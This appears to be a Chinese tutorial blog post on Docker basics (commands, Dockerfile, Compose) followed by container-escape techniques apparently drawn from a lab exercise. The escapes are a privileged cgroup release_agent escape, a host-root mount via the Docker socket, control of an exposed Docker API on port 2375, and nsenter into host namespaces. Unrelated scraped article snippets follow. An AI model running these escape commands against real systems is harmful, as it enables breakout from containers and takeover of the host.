当前位置: 首页 > news >正文

docker逃逸手法

docker逃逸手法

  • 基本docker操作
    • docker 命令
    • dockerfiles
    • Docker Compose
    • 漏洞利用
      • 容器漏洞

基本docker操作

docker 命令

# docker拉取
docker pull
# 指定版本拉取
docker pull ubuntu:22.04# 显示镜像可执行的操作
docker image
# 列出存储在本地系统上的所有图像
docker image ls
# 删除docker镜像
docker image rm# 运行容器
docker run <inage_name>
# 运行时进入容器终端
docker run -it helloworld /bin/bash
# docker 常见参数
docker run -d helloworld # -d参数指示容器以“分离”模式启动。这意味着容器将在后台运行。
docker run -it helloworld # 这个论点有两个部分。“i”表示交互式运行,“t”表示 Docker 在容器内运行 shell。如果我们希望在容器运行后直接与容器交互,我们将使用此选项
docker run -v /host/os/directory:/container/directory helloworld # -v参数是“Volume”的缩写,它告诉 Docker 将主机操作系统中的目录或文件挂载到容器内的某个位置。这些文件的存储位置在 Dockerfile 中定义
docker run -p 80:80 webserver # -p参数指示 Docker 将主机操作系统上的端口绑定到容器中公开的端口。如果您在容器中运行应用程序或服务(例如 Web 服务器),并希望通过导航到 IP 地址来访问应用程序/服务,则可以使用此说明。
docker run --rm helloworld # --rm参数告诉 Docker 在容器完成运行它被指示执行的任何操作后删除容器。
docker run --name helloworld # --name让我们给容器起一个友好、难忘的名字。在没有此选项的情况下运行容器时,名称是两个随机词。我们可以使用此 open 来命名容器,该容器在容器正在运行的应用程序之后。# 列出正在运行的容器
docker ps
# 列出所有的容器
docker ps -a

dockerfiles

# dockerfiles语法
from ubuntu # from指令为容器设置构建阶段,并设置基础映像(操作系统)。所有 Dockerfile 都必须从这个开始。
run whoami # run指令将在新层内的容器中执行命令。
copy /home/a/b copy指令将文件从本地系统复制到容器中的工作目录(语法类似于命令cp)。
WORKDIR / # WORKDIR指令设置容器的工作目录。(类似于在 Linux 上使用)。cd
CMD /bin/sh -c script.sh # CMD指令确定容器启动时运行哪个命令(您将使用它来启动服务或应用程序)。
EXPOSE 80 # EXPOSE指令用于告诉运行容器的人员在运行容器时应发布哪个端口。# docker构建
docker build -t helloworld ./Dockerfile
-t 命名镜像

Docker Compose

docker-compose up # 创建/构建并启动复合文件中指定的容器。
docker-compose start # 启动复合文件中指定的容器。
docker-compose down # 此命令将停止并删除复合文件中指定的容器。
docker-compose stop # 此命令将停止(而不是删除)复合文件中指定的容器
docker-compose build # 此命令将构建(但不会启动)复合文件中指定的容器Docker-compose.yml 文件
version #  它位于文件的顶部,用于标识为哪个版本的 Compose 编写docker-compose.yml
services #  此指令标志着要管理的容器的开始。
name #  在此指令中,您可以定义容器及其配置。“name”需要替换为您要定义的容器的实际名称,即“webserver”或“database”。
build #  此指令定义包含此容器/服务的 Dockerfile 的目录。(您将需要使用此图像或图像)。
ports #  此指令将端口发布到公开的端口(这取决于 image/Dockerfile)。
volumes #  此指令列出了应从主机操作系统挂载到容器中的目录。
environment #  此指令用于传递环境变量(不安全),即密码、用户名、时区配置等。
image #  此指令定义了应使用哪个映像来构建容器(您将需要使用此映像或构建该映像)。
networks #  此指令定义了容器将成为哪些网络的一部分。容器可以是多个网络的一部分(即 Web 服务器只能联系一个数据库,但数据库可以联系多个 Web 服务器)。
## 示例:version: '3.3'
services:web:build: ./webnetworks:- ecommerceports:- '80:80'database:image: mysql:latestnetworks:- ecommerceenvironment:- MYSQL_DATABASE=ecommerce- MYSQL_USERNAME=root- MYSQL_ROOT_PASSWORD=hellowordnetworks:ecommerce:

漏洞利用

容器漏洞

因容器的迁移特性,其中可能存在各种硬编码,比如拉取的web应用的数据库连接密码
同时不同的docker版本也具有不同的逃逸漏洞

特权容器

capsh --print # 列出特权Docker的功能
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

通过暴露的docker守护程序进行逃逸

验证我们的用户是否属于 Docker 组
groups # 查看是否有docker字样
find / -name docker.sock # 寻找docker套接字
# 创建新容器并把宿主机挂载在新容器中
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker rundocker run -v /:/mnt
chroot /mnt

通过暴露的docker守护程序远程执行代码

nmap -sV -p 2375 10.10.200.38 Starting Nmap # 看docker api是否运行在2375端口并可访问
curl http://10.10.200.38:2375/version # 确认docker守护进程
docker -H tcp://10.10.200.38:2375 ps # 在目标上执行docker命令# 值得注意的命令
network ls # 用于列出容器网络
images # 列出容器使用的图像
exec # 在容器上执行命令
run # 运行容器

滥用命名空间

确定我们是否在容器中
ps aux # 查看进程数,如果数量很小则可能在容器中
# 如果在容器中看到docker类似的进程,说明doker可能可以利用滥用命名空间逃逸# 漏洞利用
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 命令解释
--target # 使用值为“1”的开关来执行我们稍后提供的 shell 命令,该命令在特殊系统进程 ID 的命名空间中执行,以获得最终的root
--mount # 指定此名称是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的挂载命名空间。” 
--uts # 该开关允许我们与目标进程共享相同的 UTS 命名空间,这意味着使用相同的主机名。这很重要,因为主机名不匹配可能会导致连接问题(尤其是网络服务)
--ipc # 开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享
--net # 关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(例如主机上的稳定反向 shell)可能需要“Ctrl + C”来取消一次或两次漏洞利用才能使此漏洞起作用

相关文章:

docker逃逸手法

docker逃逸手法 基本docker操作docker 命令dockerfilesDocker Compose漏洞利用容器漏洞 基本docker操作 docker 命令 # docker拉取 docker pull # 指定版本拉取 docker pull ubuntu:22.04# 显示镜像可执行的操作 docker image # 列出存储在本地系统上的所有图像 docker image…...

3 pytest Fixture

3 pytest Fixture 3.1 通过 conftest.py 共享 fixture3.2 使用 fixture 执行配置及销毁逻辑3.3 使用 --setup-show 回溯 fixture 的执行过程3.4 使用 fixture 传递测试数据3.5 使用多个 fixture3.6 指定 fixture 作用范围3.7 使用 usefixtures 指定 fixture3.8 为常用 fixture …...

pinctl 和 gpio子系统驱动

一.设备树中添加pinctl节点模板 1.创建对应的节点 同一个外设的 PIN 都放到一个节点里面&#xff0c;打开 imx6ull-14x14-evk.dts&#xff0c;在 iomuxc 节点 中的“imx6ul-evk”子节点下添加 “pinctrl_test” 节点。添加完成以后如下所示&#xff1a; pinctrl_test:test_g…...

RocketMQ消息堆积了怎么解决?

RocketMQ 的消息堆积&#xff0c;一般都是因为客户端本地消费过程中&#xff0c;由于消费耗时过长或消费并发度较小等原因&#xff0c;导致客户端消费能力不足&#xff0c;出现消息堆积的问题。 当线上出现消息堆积的问题时&#xff0c;一般有以下几种方式来解决: 增加消费者…...

C++第十二弹 -- STL之list模拟实现

文章索引 前言模拟实现list1. ListNode节点类2. list的迭代器封装3. 反向迭代器4. list类的模拟实现测试代码 list的反向迭代器总结 前言 通过模拟实现可以让我们更加深刻的理解C底层STL的实现逻辑, 本篇就对list的底层进行模拟实现. 博客主页: 酷酷学!!! 点击关注 共同进步!…...

Destiny of Gods首轮测试正式开启,参与玩家数量突破10万

天神风云&#xff0c;波澜再兴&#xff0c;GameFi链游聚合平台Destiny of Gods首款同名数字卡牌回合制游戏首轮测试定档8月20日20:00&#xff08;GMT8&#xff09;&#xff0c;现已正式开启&#xff01; 这是一个由人、游灵和神灵共存的世界&#xff0c;历经蛮荒时期的纷争与信…...

QT聊天室基于Tcp

server.cpp #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget),server(new QTcpServer(this)) // 给服务器指针对象实例化空间{ui->setupUi(this); }Widget::~Widget() {delete ui; }…...

公开课观后感:密歇根大学python for everyone

从2024年1月17日到2024年8月20日&#xff0c;终于将密歇根大学的python for everyone的python公开课跟完。站在一月份规划的时刻来看&#xff0c;比我想象中花费的时间更多&#xff0c;我当时肯定没有想到要花上整整七个月的时间才能将这个公开课的内容看完&#xff0c;毕竟这个…...

goweb框架-gin

文章目录 Gin框架概览Gin框架的特点Gin框架的安装和基本使用安装基本使用 路由系统路由的基本概念Gin框架路由的特点 Radix Tree&#xff08;基数树&#xff09;基数树的定义和原理基数树在Gin框架中的应用节省空间的优化动态路由和通配符处理 路由树的构建注册路由的过程路由树…...

2024年接口测试高频面试题及答案

1. 什么是接口测试&#xff1f; •接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或满足相应的功能性、安全性要求 •测试的重点是要检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相互逻辑依赖关系 2. 为什么要做接口…...

ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(8)

接前一篇文章:ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(7) 前边几回分析了笔者在MQTT测试时所遇到的问题: 最终定位到了是由于components\components\tcp_transport\transport_ssl.c的base_poll_write函数中调用的select函数超时返回…...

Linux: 忘记密码的解决方法,passwd

https://www.redhat.com/sysadmin/recover-root-passwd 这里的方法很简单&#xff0c;就是通过console进去&#xff0c;添加一个启动参数&#xff0c;加载sysroot&#xff0c;然后用passwd命令修改密码。这个是RHEL7适用。 https://access.redhat.com/solutions/1192 这个是提…...

36. 有效的数独【 力扣(LeetCode) 】

一、题目描述 请你判断一个 9 x 9 的数独是否有效。只需要 根据以下规则 &#xff0c;验证已经填入的数字是否有效即可。 数字 1-9 在每一行只能出现一次。 数字 1-9 在每一列只能出现一次。 数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能出现一次。&#xff08;请参考示例图…...

机器学习中的没有免费午餐定理

嘿&#xff0c;各位机器学习的爱好者们&#xff01;今天&#xff0c;让我们一起深入探讨机器学习中那个神秘而又重要的概念——没有免费午餐定理。 一、定理引入&#xff1a;探索算法森林的钥匙 在广阔无垠的机器学习领域中&#xff0c;免费午餐定理就如同一把神奇的钥匙&…...

高级java每日一道面试题-2024年8月21日-框架篇[Spring篇]-使用IOC容器应该注意哪些?

如果有遗漏,评论区告诉我进行补充 面试官: 使用IOC容器应该注意哪些? 我回答: 1. 理解IOC的基本概念 控制反转&#xff1a;在传统的编程模式中&#xff0c;程序会主动控制依赖关系的创建和管理。而在IoC容器中&#xff0c;这种控制权被反转给了容器本身。程序员只需要声明…...

LLM训练推理相关概念

1. 有监督微调&#xff08;Supervised Fine-Tuning&#xff09;与指令微调&#xff08;Instruction Fine-Tuning&#xff09;对模型参数的影响 **有监督微调&#xff08;Supervised Fine-Tuning, SFT&#xff09;和指令微调&#xff08;Instruction Fine-Tuning, Instruct-Tun…...

IP in IP 协议

IP in IP 是一种多重IP协议&#xff0c;即&#xff1a;客户机可以发送一个IP协议内部在嵌套一个IP协议到某个特定的主机上&#xff0c;在由具体的主机作为路由进行转发的协议。 例如&#xff1a; IP in IP帧协议结构为&#xff0c;第一层为发送到IP in IP 路由主机的报文&…...

DAY2: HTTP请求报文和响应报文是怎样的,有哪些常见的字段?| HTTP有哪些请求方式?| GET请求和POST请求的区别

目录 HTTP请求报文和响应报文是怎样的&#xff0c;有哪些常见的字段&#xff1f; 请求报文 响应报文 HTTP有哪些请求方式&#xff1f; GET请求和POST请求的区别 HTTP请求报文和响应报文是怎样的&#xff0c;有哪些常见的字段&#xff1f; HTTP报文分为请求报文和响应报文…...

线性代数:每日一题1/特征值与相似对角化

设A, B 为二阶矩阵&#xff0c;且 AB BA , 则“A有两个不相等的特征值”是“B可对角化"的&#xff08;&#xff09; A. 充分必要条件 B. 充分不必要条件 C.必要不充分条件 D.既不充分也不必要条件 知识点&#xff1a; 特征向量与特征值的关系 相似矩阵的定义和性质 n阶…...

Android UI:PopupWindow:API

文章目录 类操作 对PopupWindow的操作 创建PopupWindow对象的操作添加并显示PopupWindow的操作移除PopupWindow的操作更新PopupWindow的操作显示内容的相关操作 布局的相关操作进入退出动画的相关操作 Transition设置进入动画的相关操作Transition设置退出动画的相关操作XML设置…...

CTF show Web 红包题第六弹

提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框&#xff0c;很难让人不联想到SQL注入&#xff0c;但提示都说了不是SQL注入&#xff0c;所以就不往这方面想了 ​ 先查看一下网页源码&#xff0c;发现一段JavaScript代码&#xff0c;有一个关键类ctfs…...

vscode(仍待补充)

写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh&#xff1f; debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

P3 QT项目----记事本(3.8)

3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持&#xff0c;不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

2025季度云服务器排行榜

在全球云服务器市场&#xff0c;各厂商的排名和地位并非一成不变&#xff0c;而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势&#xff0c;对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析&#xff1a; 一、全球“三巨头”…...

C#中的CLR属性、依赖属性与附加属性

CLR属性的主要特征 封装性&#xff1a; 隐藏字段的实现细节 提供对字段的受控访问 访问控制&#xff1a; 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性&#xff1a; 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑&#xff1a; 可以…...

免费PDF转图片工具

免费PDF转图片工具 一款简单易用的PDF转图片工具&#xff0c;可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件&#xff0c;也不需要在线上传文件&#xff0c;保护您的隐私。 工具截图 主要特点 &#x1f680; 快速转换&#xff1a;本地转换&#xff0c;无需等待上…...